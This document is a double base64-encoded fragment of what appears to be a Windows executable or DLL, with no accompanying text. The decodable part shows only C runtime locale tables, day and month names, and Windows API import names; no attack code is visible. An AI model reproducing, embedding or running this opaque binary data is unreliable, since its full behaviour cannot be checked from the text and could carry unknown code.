BQU1BQUFBU1U1R0FHbHVaZ0JPUVU0QWJtRnVBRTVCVGloVFRrRk9LUUFBQUc1aGJpaHpibUZ1S1FBQUFFNUJUaWhKVGtRcEFBQUFBRzVoYmlocGJtUXBBQUFBQUdVck1EQXdBQUFBVTNWdUFFMXZiZ0JVZFdVQVYyVmtBRlJvZFFCR2Nta0FVMkYwQUZOMWJtUmhlUUFBVFc5dVpHRjVBQUJVZFdWelpHRjVBRmRsWkc1bGMyUmhlUUFBQUZSb2RYSnpaR0Y1QUFBQUFFWnlhV1JoZVFBQVUyRjBkWEprWVhrQUFBQUFTbUZ1QUVabFlnQk5ZWElBUVhCeUFFMWhlUUJLZFc0QVNuVnNBRUYxWndCVFpYQUFUMk4wQUU1dmRnQkVaV01BU21GdWRXRnllUUJHWldKeWRXRnllUUFBQUFCTllYSmphQUFBQUVGd2NtbHNBQUFBU25WdVpRQUFBQUJLZFd4NUFBQUFBRUYxWjNWemRBQUFVMlZ3ZEdWdFltVnlBQUFBVDJOMGIySmxjZ0JPYjNabGJXSmxjZ0FBQUFCRVpXTmxiV0psY2dBQUFBQkJUUUFBVUUwQUFFMU5MMlJrTDNsNUFBQUFBR1JrWkdRc0lFMU5UVTBnWkdRc0lIbDVlWGtBU0VnNmJXMDZjM01BQUFBQVV3QjFBRzRBQUFCTkFHOEFiZ0FBQUZRQWRRQmxBQUFBVndCbEFHUUFBQUJVQUdnQWRRQUFBRVlBY2dCcEFBQUFVd0JoQUhRQUFBQlRBSFVBYmdCa0FHRUFlUUFBQUFBQVRRQnZBRzRBWkFCaEFIa0FBQUFBQUZRQWRRQmxBSE1BWkFCaEFIa0FBQUJYQUdVQVpBQnVBR1VBY3dCa0FHRUFlUUFBQUZRQWFBQjFBSElBY3dCa0FHRUFlUUFBQUFBQVJnQnlBR2tBWkFCaEFIa0FBQUFBQUZNQVlRQjBBSFVBY2dCa0FHRUFlUUFBQUFBQVNnQmhBRzRBQUFCR0FHVUFZZ0FBQUUwQVlRQnlBQUFBUVFCd0FISUFBQUJOQUdFQWVRQUFBRW9BZFFCdUFBQUFTZ0IxQUd3QUFBQkJBSFVBWndBQUFGTUFaUUJ3QUFBQVR3QmpBSFFBQUFCT0FHOEFkZ0FBQUVRQVpRQmpBQUFBU2dCaEFHNEFkUUJoQUhJQWVRQUFBRVlBWlFCaUFISUFkUUJoQUhJQWVRQUFBQUFBVFFCaEFISUFZd0JvQUFBQVFRQndBSElBYVFCc0FBQUFTZ0IxQUc0QVpRQUFBQUFBU2dCMUFHd0FlUUFBQUFBQVFRQjFBR2NBZFFCekFIUUFBQUFBQUZNQVpRQndBSFFBWlFCdEFHSUFaUUJ5QUFBQVR3QmpBSFFBYndCaUFHVUFjZ0FBQUU0QWJ3QjJBR1VBYlFCaUFHVUFjZ0FBQUFBQVJBQmxBR01BWlFCdEFHSUFaUUJ5QUFBQUFBQkJBRTBBQUFBQUFGQUFUUUFBQUFBQVRRQk5BQzhBWkFCa0FDOEFlUUI1QUFBQUFBQmtBR1FBWkFCa0FDd0FJQUJOQUUwQVRRQk5BQ0FBWkFCa0FDd0FJQUI1QUhrQWVRQjVBQUFBU0FCSUFEb0FiUUJ0QURvQWN3QnpBQUFBQUFCbEFHNEFMUUJWQUZNQUFBQUFBQUFBdU0wREVMek5BeERBelFNUXhNMERFTWpOQXhETXpRTVEwTTBERU5UTkF4RGN6UU1RNU0wREVPek5BeEQ0elFNUUJNNERFQXpPQXhBWXpnTVFITTRERUNET0F4QWt6Z01RS000REVDek9BeEF3emdNUU5NNERFRGpPQXhBOHpnTVFRTTRERUVUT0F4Qkl6Z01RVU00REVGek9BeEJremdNUUtNNERFR3pPQXhCMHpnTVFmTTRERUlUT0F4Q1F6Z01RbU00REVLVE9BeEN3emdNUXRNNERFTGpPQXhERXpnTVEyTTRERUFFQUFBQUFBQUFBNU00REVPek9BeEQwemdNUS9NNERFQVRQQXhBTXp3TVFGTThERUJ6UEF4QXN6d01RUE04REVFelBBeEJnendNUWRNOERFSVRQQXhDWXp3TVFvTThERUtqUEF4Q3d6d01RdU04REVNRFBBeERJendNUTBNOERFTmpQQXhEZ3p3TVE2TThERVBEUEF4RDR6d01RQ05BREVCelFBeEFvMEFNUXVNOERFRFRRQXhCQTBBTVFUTkFERUZ6UUF4QncwQU1RZ05BREVKVFFBeENvMEFNUXNOQURFTGpRQXhETTBBTVE5TkFERUFqUkF4QUFBQUFBME5JREVCalRBeEFZdFFNUVdOTURFSkRUQXhEWTB3TVFPTlFERUlUVUF4QlV0UU1Rd05RREVBRFZBeEE4MVFNUWVOVURFTWpWQXhBZzFnTVFlTllERU1EV0F4QUV0UU1Ra0xVREVCRFhBeEJoQUhBQWFRQXRBRzBBY3dBdEFIY0FhUUJ1QUMwQVlRQndBSEFBYlFCdkFHUUFaUUJzQUMwQWNnQjFBRzRBZEFCcEFHMEFaUUF0QUd3QU1RQXRBREVBTFFBeEFBQUFBQUJoQUhBQWFRQXRBRzBBY3dBdEFIY0FhUUJ1QUMwQVl3QnZBSElBWlFBdEFHUUFZUUIwQUdVQWRBQnBBRzBBWlFBdEFHd0FNUUF0QURFQUxRQXhBQUFBWVFCd0FHa0FMUUJ0QUhNQUxRQjNBR2tBYmdBdEFHTUFid0J5QUdVQUxRQm1BR2tBYkFCbEFDMEFiQUF5QUMwQU1RQXRBREVBQUFCaEFIQUFhUUF0QUcwQWN3QXRBSGNBYVFCdUFDMEFZd0J2QUhJQVpRQXRBR3dBYndCakFHRUFiQUJwQUhvQVlRQjBBR2tBYndCdUFDMEFiQUF4QUMwQU1nQXRBREVBQUFCaEFIQUFhUUF0QUcwQWN3QXRBSGNBYVFCdUFDMEFZd0J2QUhJQVpRQXRBR3dBYndCakFHRUFiQUJwQUhvQVlRQjBBR2tBYndCdUFDMEFid0JpQUhNQWJ3QnNBR1VBZEFCbEFDMEFiQUF4QUMwQU1nQXRBREFBQUFBQUFBQUFBQUJoQUhBQWFRQXRBRzBBY3dBdEFIY0FhUUJ1QUMwQVl3QnZBSElBWlFBdEFIQUFjZ0J2QUdNQVpRQnpBSE1BZEFCb0FISUFaUUJoQUdRQWN3QXRBR3dBTVFBdEFERUFMUUF5QUFBQVlRQndBR2tBTFFCdEFITUFMUUIzQUdrQWJnQXRBR01BYndCeUFHVUFMUUJ6QUhRQWNnQnBBRzRBWndBdEFHd0FNUUF0QURFQUxRQXdBQUFBWVFCd0FHa0FMUUJ0QUhNQUxRQjNBR2tBYmdBdEFHTUFid0J5QUdVQUxRQnpBSGtBY3dCcEFHNEFaZ0J2QUMwQWJBQXhBQzBBTWdBdEFERUFBQUFBQUdFQWNBQnBBQzBBYlFCekFDMEFkd0JwQUc0QUxRQmpBRzhBY2dCbEFDMEFkd0JwQUc0QWNnQjBBQzBBYkFBeEFDMEFNUUF0QURBQUFBQUFBR0VBY0FCcEFDMEFiUUJ6QUMwQWR3QnBBRzRBTFFCakFHOEFjZ0JsQUMwQWVBQnpBSFFBWVFCMEFHVUFMUUJzQURJQUxRQXhBQzBBTUFBQUFHRUFjQUJwQUMwQWJRQnpBQzBBZHdCcEFHNEFMUUJ5QUhRQVl3QnZBSElBWlFBdEFHNEFkQUIxQUhNQVpRQnlBQzBBZHdCcEFHNEFaQUJ2QUhjQUxRQnNBREVBTFFBeEFDMEFNQUFBQUFBQVlRQndBR2tBTFFCdEFITUFMUUIzQUdrQWJnQXRBSE1BWlFCakFIVUFjZ0JwQUhRQWVRQXRBSE1BZVFCekFIUUFaUUJ0QUdZQWRRQnVBR01BZEFCcEFHOEFiZ0J6QUMwQWJBQXhBQzBBTVFBdEFEQUFBQUFBQUdVQWVBQjBBQzBBYlFCekFDMEFkd0JwQUc0QUxRQnJBR1VBY2dCdUFHVUFiQUF6QURJQUxRQndBR0VBWXdCckFHRUFad0JsQUMwQVl3QjFBSElBY2dCbEFHNEFkQUF0QUd3QU1RQXRBREVBTFFBd0FBQUFBQUJsQUhnQWRBQXRBRzBBY3dBdEFIY0FhUUJ1QUMwQWJnQjBBSFVBY3dCbEFISUFMUUJrQUdrQVlRQnNBRzhBWndCaUFHOEFlQUF0QUd3QU1RQXRBREVBTFFBd0FBQUFBQUJsQUhnQWRBQXRBRzBBY3dBdEFIY0FhUUJ1QUMwQWJnQjBBSFVBY3dCbEFISUFMUUIzQUdrQWJnQmtBRzhBZHdCekFIUUFZUUIwQUdrQWJ3QnVBQzBBYkFBeEFDMEFNUUF0QURBQUFBQUFBSFVBY3dCbEFISUFNd0F5QUFBQUFBQUNBQUFBRWdBQUFBSUFBQUFTQUFBQUFnQUFBQklBQUFBQ0FBQUFFZ0FBQUFBQUFBQU9BQUFBUjJWMFEzVnljbVZ1ZEZCaFkydGhaMlZKWkFBSUFBQUFFZ0FBQUFRQUFBQVNBQUFBVEVOTllYQlRkSEpwYm1kRmVBQUFBQVFBQUFBU0FBQUFURzlqWVd4bFRtRnRaVlJ2VEVOSlJBQUFBQUJqQUdNQWN3QUFBRlVBVkFCR0FDMEFPQUFBQUZVQVZBQkdBQzBBTVFBMkFFd0FSUUJWQUU0QVNRQkRBRThBUkFCRkFBQUFBQUFBQUFBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUtBQW9BQ2dBS0FBb0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FFZ0FFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQUJBQUVBQVFBQkFBaEFDRUFJUUFoQUNFQUlRQWhBQ0VBSVFBaEFBUUFCQUFFQUFRQUJBQUVBQVFBSUVCZ1FHQkFZRUJnUUdCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRVFBQkFBRUFBUUFCQUFFQUNDQVlJQmdnR0NBWUlCZ2dFQ0FRSUJBZ0VDQVFJQkFnRUNBUUlCQWdFQ0FRSUJBZ0VDQVFJQkFnRUNBUUlCQWdFQ0FRSUJFQUFRQUJBQUVBQWdBQ0FBSUFBZ0FDQUFJQUFvQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFJQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQUJJQkVBQVFBREFBRUFBUUFCQUFFQUFVQUJRQUVBQVNBUkFBRUFBUUFCUUFFZ0VRQUJBQUVBQVFBQkFBQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVFFQkFRRUJBUUVCQVJBQUFRRUJBUUVCQVFFQkFRRUJBUUVDQVFJQkFnRUNBUUlCQWdFQ0FRSUJBZ0VDQVFJQkFnRUNBUUlCQWdFQ0FRSUJBZ0VDQVFJQkFnRUNBUUlCQWdFUUFBSUJBZ0VDQVFJQkFnRUNBUUlCQWdFQkFRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUtBQW9BQ2dBS0FBb0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FFZ0FFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQUJBQUVBQVFBQkFBaEFDRUFJUUFoQUNFQUlRQWhBQ0VBSVFBaEFBUUFCQUFFQUFRQUJBQUVBQVFBSUVBZ1FDQkFJRUFnUUNCQUFFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQUJBQUVBQVFBQkFBRUFBUUFCQUFFQUFRQVFBQkFBRUFBUUFCQUFFQUNDQUlJQWdnQ0NBSUlBZ2dBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUlBQWdBQ0FBSUFFQUFRQUJBQUVBQWdBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDQWdZS0RoSVdHaDRpSmlvdU1qWTZQa0pHU2s1U1ZscGVZbVpxYm5KMmVuNkNob3FPa3BhYW5xS21xcTZ5dHJxK3dzYkt6dExXMnQ3aTV1cnU4dmI2L3dNSEN3OFRGeHNmSXljckx6TTNPejlEUjB0UFUxZGJYMk5uYTI5emQzdC9nNGVMajVPWG01K2pwNnV2czdlN3Y4UEh5OC9UMTl2ZjQrZnI3L1AzKy93QUJBZ01FQlFZSENBa0tDd3dORGc4UUVSSVRGQlVXRnhnWkdoc2NIUjRmSUNFaUl5UWxKaWNvS1NvckxDMHVMekF4TWpNME5UWTNPRGs2T3p3OVBqOUFZV0pqWkdWbVoyaHBhbXRzYlc1dmNIRnljM1IxZG5kNGVYcGJYRjFlWDJCaFltTmtaV1puYUdscWEyeHRibTl3Y1hKemRIVjJkM2g1ZW50OGZYNS9nSUdDZzRTRmhvZUlpWXFMakkyT2o1Q1JrcE9VbFphWG1KbWFtNXlkbnArZ29hS2pwS1dtcDZpcHFxdXNyYTZ2c0xHeXM3UzF0cmU0dWJxN3ZMMit2OERCd3NQRXhjYkh5TW5LeTh6TnpzL1EwZExUMU5YVzE5aloydHZjM2Q3ZjRPSGk0K1RsNXVmbzZlcnI3TzN1Ny9EeDh2UDA5ZmIzK1BuNisvejkvditBZ1lLRGhJV0doNGlKaW91TWpZNlBrSkdTazVTVmxwZVltWnFibkoyZW42Q2hvcU9rcGFhbnFLbXFxNnl0cnErd3NiS3p0TFcydDdpNXVydTh2YjYvd01IQ3c4VEZ4c2ZJeWNyTHpNM096OURSMHRQVTFkYlgyTm5hMjl6ZDN0L2c0ZUxqNU9YbTUranA2dXZzN2U3djhQSHk4L1QxOXZmNCtmcjcvUDMrL3dBQkFnTUVCUVlIQ0FrS0N3d05EZzhRRVJJVEZCVVdGeGdaR2hzY0hSNGZJQ0VpSXlRbEppY29LU29yTEMwdUx6QXhNak0wTlRZM09EazZPenc5UGo5QVFVSkRSRVZHUjBoSlNrdE1UVTVQVUZGU1UxUlZWbGRZV1ZwYlhGMWVYMkJCUWtORVJVWkhTRWxLUzB4TlRrOVFVVkpUVkZWV1YxaFpXbnQ4Zlg1L2dJR0NnNFNGaG9lSWlZcUxqSTJPajVDUmtwT1VsWmFYbUptYW01eWRucCtnb2FLanBLV21wNmlwcXF1c3JhNnZzTEd5czdTMXRyZTR1YnE3dkwyK3Y4REJ3c1BFeGNiSHlNbkt5OHpOenMvUTBkTFQxTlhXMTlqWjJ0dmMzZDdmNE9IaTQrVGw1dWZvNmVycjdPM3U3L0R4OHZQMDlmYjMrUG42Ky96OS92L28zd01ROU44REVBRGdBeEFNNEFNUWFnQmhBQzBBU2dCUUFBQUFlZ0JvQUMwQVF3Qk9BQUFBYXdCdkFDMEFTd0JTQUFBQWVnQm9BQzBBVkFCWEFBQUFNQUFBQURFalNVNUdBQUFBTVNOUlRrRk9BQUF4STFOT1FVNEFBREVqU1U1RUFBQUFkUUJyQUFBQUFBQUFBQUFBQVFBQUFHam5BeEFDQUFBQWNPY0RFQU1BQUFCNDV3TVFCQUFBQUlEbkF4QUZBQUFBa09jREVBWUFBQUNZNXdNUUJ3QUFBS0RuQXhBSUFBQUFxT2NERUFrQUFBQ3c1d01RQ2dBQUFMam5BeEFMQUFBQXdPY0RFQXdBQUFESTV3TVFEUUFBQU5EbkF4QU9BQUFBMk9jREVBOEFBQURnNXdNUUVBQUFBT2puQXhBUkFBQUE4T2NERUJJQUFBRDQ1d01RRXdBQUFBRG9BeEFVQUFBQVNNSUZFQlVBQUFBSTZBTVFGZ0FBQUJEb0F4QVlBQUFBR09nREVCa0FBQUFnNkFNUUdnQUFBQ2pvQXhBYkFBQUFNT2dERUJ3QUFBQTQ2QU1RSFFBQUFFRG9BeEFlQUFBQVNPZ0RFQjhBQUFCUTZBTVFJQUFBQUZqb0F4QWhBQUFBRU53RUVDSUFBQUE4NEFNUUl3QUFBR0RvQXhBa0FBQUFhT2dERUNVQUFBQnc2QU1RSmdBQUFIam9BeEFuQUFBQWdPZ0RFQ2tBQUFDSTZBTVFLZ0FBQUpEb0F4QXJBQUFBbU9nREVDd0FBQUNnNkFNUUxRQUFBS2pvQXhBdkFBQUFzT2dERURZQUFBQzQ2QU1RTndBQUFNRG9BeEE0QUFBQXlPZ0RFRGtBQUFEUTZBTVFQZ0FBQU5qb0F4QS9BQUFBNE9nREVFQUFBQURvNkFNUVFRQUFBUERvQXhCREFBQUErT2dERUVRQUFBQUE2UU1RUmdBQUFBanBBeEJIQUFBQUVPa0RFRWtBQUFBWTZRTVFTZ0FBQUNEcEF4QkxBQUFBS09rREVFNEFBQUF3NlFNUVR3QUFBRGpwQXhCUUFBQUFRT2tERUZZQUFBQkk2UU1RVndBQUFGRHBBeEJhQUFBQVdPa0RFR1VBQUFCZzZRTVFmd0FBQUxSVEJCQUJCQUFBYU9rREVBSUVBQUIwNlFNUUF3UUFBSURwQXhBRUJBQUFET0FERUFVRUFBQ002UU1RQmdRQUFKanBBeEFIQkFBQXBPa0RFQWdFQUFDdzZRTVFDUVFBQUFqUkF4QUxCQUFBdk9rREVBd0VBQURJNlFNUURRUUFBTlRwQXhBT0JBQUE0T2tERUE4RUFBRHM2UU1RRUFRQUFQanBBeEFSQkFBQTZOOERFQklFQUFBQTRBTVFFd1FBQUFUcUF4QVVCQUFBRU9vREVCVUVBQUFjNmdNUUZnUUFBQ2pxQXhBWUJBQUFOT29ERUJrRUFBQkE2Z01RR2dRQUFFenFBeEFiQkFBQVdPb0RFQndFQUFCazZnTVFIUVFBQUhEcUF4QWVCQUFBZk9vREVCOEVBQUNJNmdNUUlBUUFBSlRxQXhBaEJBQUFvT29ERUNJRUFBQ3M2Z01RSXdRQUFManFBeEFrQkFBQXhPb0RFQ1VFQUFEUTZnTVFKZ1FBQU56cUF4QW5CQUFBNk9vREVDa0VBQUQwNmdNUUtnUUFBQURyQXhBckJBQUFET3NERUN3RUFBQVk2d01RTFFRQUFERHJBeEF2QkFBQVBPc0RFRElFQUFCSTZ3TVFOQVFBQUZUckF4QTFCQUFBWU9zREVEWUVBQUJzNndNUU53UUFBSGpyQXhBNEJBQUFoT3NERURrRUFBQ1E2d01RT2dRQUFKenJBeEE3QkFBQXFPc0RFRDRFQUFDMDZ3TVFQd1FBQU1EckF4QkFCQUFBek9zREVFRUVBQURZNndNUVF3UUFBT1RyQXhCRUJBQUEvT3NERUVVRUFBQUk3QU1RUmdRQUFCVHNBeEJIQkFBQUlPd0RFRWtFQUFBczdBTVFTZ1FBQURqc0F4QkxCQUFBUk93REVFd0VBQUJRN0FNUVRnUUFBRnpzQXhCUEJBQUFhT3dERUZBRUFBQjA3QU1RVWdRQUFJRHNBeEJXQkFBQWpPd0RFRmNFQUFDWTdBTVFXZ1FBQUtqc0F4QmxCQUFBdU93REVHc0VBQURJN0FNUWJBUUFBTmpzQXhDQkJBQUE1T3dERUFFSUFBRHc3QU1RQkFnQUFQVGZBeEFIQ0FBQS9Pd0RFQWtJQUFBSTdRTVFDZ2dBQUJUdEF4QU1DQUFBSU8wREVCQUlBQUFzN1FNUUV3Z0FBRGp0QXhBVUNBQUFSTzBERUJZSUFBQlE3UU1RR2dnQUFGenRBeEFkQ0FBQWRPMERFQ3dJQUFDQTdRTVFPd2dBQUpqdEF4QStDQUFBcE8wREVFTUlBQUN3N1FNUWF3Z0FBTWp0QXhBQkRBQUEyTzBERUFRTUFBRGs3UU1RQnd3QUFQRHRBeEFKREFBQS9PMERFQW9NQUFBSTdnTVFEQXdBQUJUdUF4QWFEQUFBSU80REVEc01BQUE0N2dNUWF3d0FBRVR1QXhBQkVBQUFWTzRERUFRUUFBQmc3Z01RQnhBQUFHenVBeEFKRUFBQWVPNERFQW9RQUFDRTdnTVFEQkFBQUpEdUF4QWFFQUFBbk80REVEc1FBQUNvN2dNUUFSUUFBTGp1QXhBRUZBQUF4TzRERUFjVUFBRFE3Z01RQ1JRQUFOenVBeEFLRkFBQTZPNERFQXdVQUFEMDdnTVFHaFFBQUFEdkF4QTdGQUFBR084REVBRVlBQUFvN3dNUUNSZ0FBRFR2QXhBS0dBQUFRTzhERUF3WUFBQk03d01RR2hnQUFGanZBeEE3R0FBQWNPOERFQUVjQUFDQTd3TVFDUndBQUl6dkF4QUtIQUFBbU84REVCb2NBQUNrN3dNUU94d0FBTHp2QXhBQklBQUF6TzhERUFrZ0FBRFk3d01RQ2lBQUFPVHZBeEE3SUFBQThPOERFQUVrQUFBQThBTVFDU1FBQUF6d0F4QUtKQUFBR1BBREVEc2tBQUFrOEFNUUFTZ0FBRFR3QXhBSktBQUFRUEFERUFvb0FBQk04QU1RQVN3QUFGandBeEFKTEFBQVpQQURFQW9zQUFCdzhBTVFBVEFBQUh6d0F4QUpNQUFBaVBBREVBb3dBQUNVOEFNUUFUUUFBS0R3QXhBSk5BQUFyUEFERUFvMEFBQzQ4QU1RQVRnQUFNVHdBeEFLT0FBQTBQQURFQUU4QUFEYzhBTVFDandBQU9qd0F4QUJRQUFBOVBBREVBcEFBQUFBOFFNUUNrUUFBQXp4QXhBS1NBQUFHUEVERUFwTUFBQWs4UU1RQ2xBQUFERHhBeEFFZkFBQVBQRURFQnA4QUFCTThRTVFZUUJ5QUFBQUFBQmlBR2NBQUFBQUFHTUFZUUFBQUFBQWVnQm9BQzBBUXdCSUFGTUFBQUFBQUdNQWN3QUFBQUFBWkFCaEFBQUFBQUJrQUdVQUFBQUFBR1VBYkFBQUFBQUFaUUJ1QUFBQUFBQmxBSE1BQUFBQUFHWUFhUUFBQUFBQVpnQnlBQUFBQUFCb0FHVUFBQUFBQUdnQWRRQUFBQUFBYVFCekFBQUFBQUJwQUhRQUFBQUFBR29BWVFBQUFBQUFhd0J2QUFBQUFBQnVBR3dBQUFBQUFIQUFiQUFBQUFBQWNBQjBBQUFBQUFCeUFHOEFBQUFBQUhJQWRRQUFBQUFBYUFCeUFBQUFBQUJ6QUdzQUFBQUFBSE1BY1FBQUFBQUFjd0IyQUFBQUFBQjBBR2dBQUFBQUFIUUFjZ0FBQUFBQWRRQnlBQUFBQUFCaUFHVUFBQUFBQUhNQWJBQUFBQUFBWlFCMEFBQUFBQUJzQUhZQUFBQUFBR3dBZEFBQUFBQUFaZ0JoQUFBQUFBQjJBR2tBQUFBQUFHZ0FlUUFBQUFBQVlRQjZBQUFBQUFCbEFIVUFBQUFBQUcwQWF3QUFBQUFBWVFCbUFBQUFBQUJyQUdFQUFBQUFBR1lBYndBQUFBQUFhQUJwQUFBQUFBQnRBSE1BQUFBQUFHc0Fhd0FBQUFBQWF3QjVBQUFBQUFCekFIY0FBQUFBQUhVQWVnQUFBQUFBZEFCMEFBQUFBQUJ3QUdFQUFBQUFBR2NBZFFBQUFBQUFkQUJoQUFBQUFBQjBBR1VBQUFBQUFHc0FiZ0FBQUFBQWJRQnlBQUFBQUFCekFHRUFBQUFBQUcwQWJnQUFBQUFBWndCc0FBQUFBQUJyQUc4QWF3QUFBSE1BZVFCeUFBQUFaQUJwQUhZQUFBQmhBSElBTFFCVEFFRUFBQUJpQUdjQUxRQkNBRWNBQUFCakFHRUFMUUJGQUZNQUFBQmpBSE1BTFFCREFGb0FBQUJrQUdFQUxRQkVBRXNBQUFCa0FHVUFMUUJFQUVVQUFBQmxBR3dBTFFCSEFGSUFBQUJtQUdrQUxRQkdBRWtBQUFCbUFISUFMUUJHQUZJQUFBQm9BR1VBTFFCSkFFd0FBQUJvQUhVQUxRQklBRlVBQUFCcEFITUFMUUJKQUZNQUFBQnBBSFFBTFFCSkFGUUFBQUJ1QUd3QUxRQk9BRXdBQUFCdUFHSUFMUUJPQUU4QUFBQndBR3dBTFFCUUFFd0FBQUJ3QUhRQUxRQkNBRklBQUFCeUFHOEFMUUJTQUU4QUFBQnlBSFVBTFFCU0FGVUFBQUJvQUhJQUxRQklBRklBQUFCekFHc0FMUUJUQUVzQUFBQnpBSEVBTFFCQkFFd0FBQUJ6QUhZQUxRQlRBRVVBQUFCMEFHZ0FMUUJVQUVnQUFBQjBBSElBTFFCVUFGSUFBQUIxQUhJQUxRQlFBRXNBQUFCcEFHUUFMUUJKQUVRQUFBQjFBR3NBTFFCVkFFRUFBQUJpQUdVQUxRQkNBRmtBQUFCekFHd0FMUUJUQUVrQUFBQmxBSFFBTFFCRkFFVUFBQUJzQUhZQUxRQk1BRllBQUFCc0FIUUFMUUJNQUZRQUFBQm1BR0VBTFFCSkFGSUFBQUIyQUdrQUxRQldBRTRBQUFCb0FIa0FMUUJCQUUwQUFBQmhBSG9BTFFCQkFGb0FMUUJNQUdFQWRBQnVBQUFBQUFCbEFIVUFMUUJGQUZNQUFBQnRBR3NBTFFCTkFFc0FBQUIwQUc0QUxRQmFBRUVBQUFCNEFHZ0FMUUJhQUVFQUFBQjZBSFVBTFFCYUFFRUFBQUJoQUdZQUxRQmFBRUVBQUFCckFHRUFMUUJIQUVVQUFBQm1BRzhBTFFCR0FFOEFBQUJvQUdrQUxRQkpBRTRBQUFCdEFIUUFMUUJOQUZRQUFBQnpBR1VBTFFCT0FFOEFBQUJ0QUhNQUxRQk5BRmtBQUFCckFHc0FMUUJMQUZvQUFBQnJBSGtBTFFCTEFFY0FBQUJ6QUhjQUxRQkxBRVVBQUFCMUFIb0FMUUJWQUZvQUxRQk1BR0VBZEFCdUFBQUFBQUIwQUhRQUxRQlNBRlVBQUFCaUFHNEFMUUJKQUU0QUFBQndBR0VBTFFCSkFFNEFBQUJuQUhVQUxRQkpBRTRBQUFCMEFHRUFMUUJKQUU0QUFBQjBBR1VBTFFCSkFFNEFBQUJyQUc0QUxRQkpBRTRBQUFCdEFHd0FMUUJKQUU0QUFBQnRBSElBTFFCSkFFNEFBQUJ6QUdFQUxRQkpBRTRBQUFCdEFHNEFMUUJOQUU0QUFBQmpBSGtBTFFCSEFFSUFBQUJuQUd3QUxRQkZBRk1BQUFCckFHOEFhd0F0QUVrQVRnQUFBQUFBY3dCNUFISUFMUUJUQUZrQUFBQUFBR1FBYVFCMkFDMEFUUUJXQUFBQUFBQnhBSFVBZWdBdEFFSUFUd0FBQUFBQWJnQnpBQzBBV2dCQkFBQUFiUUJwQUMwQVRnQmFBQUFBWVFCeUFDMEFTUUJSQUFBQVpBQmxBQzBBUXdCSUFBQUFaUUJ1QUMwQVJ3QkNBQUFBWlFCekFDMEFUUUJZQUFBQVpnQnlBQzBBUWdCRkFBQUFhUUIwQUMwQVF3QklBQUFBYmdCc0FDMEFRZ0JGQUFBQWJnQnVBQzBBVGdCUEFBQUFjQUIwQUMwQVVBQlVBQUFBY3dCeUFDMEFVd0JRQUMwQVRBQmhBSFFBYmdBQUFBQUFjd0IyQUMwQVJnQkpBQUFBWVFCNkFDMEFRUUJhQUMwQVF3QjVBSElBYkFBQUFBQUFjd0JsQUMwQVV3QkZBQUFBYlFCekFDMEFRZ0JPQUFBQWRRQjZBQzBBVlFCYUFDMEFRd0I1QUhJQWJBQUFBQUFBY1FCMUFIb0FMUUJGQUVNQUFBQUFBR0VBY2dBdEFFVUFSd0FBQUhvQWFBQXRBRWdBU3dBQUFHUUFaUUF0QUVFQVZBQUFBR1VBYmdBdEFFRUFWUUFBQUdVQWN3QXRBRVVBVXdBQUFHWUFjZ0F0QUVNQVFRQUFBSE1BY2dBdEFGTUFVQUF0QUVNQWVRQnlBR3dBQUFBQUFITUFaUUF0QUVZQVNRQUFBSEVBZFFCNkFDMEFVQUJGQUFBQUFBQmhBSElBTFFCTUFGa0FBQUI2QUdnQUxRQlRBRWNBQUFCa0FHVUFMUUJNQUZVQUFBQmxBRzRBTFFCREFFRUFBQUJsQUhNQUxRQkhBRlFBQUFCbUFISUFMUUJEQUVnQUFBQm9BSElBTFFCQ0FFRUFBQUJ6QUcwQWFnQXRBRTRBVHdBQUFBQUFZUUJ5QUMwQVJBQmFBQUFBZWdCb0FDMEFUUUJQQUFBQVpBQmxBQzBBVEFCSkFBQUFaUUJ1QUMwQVRn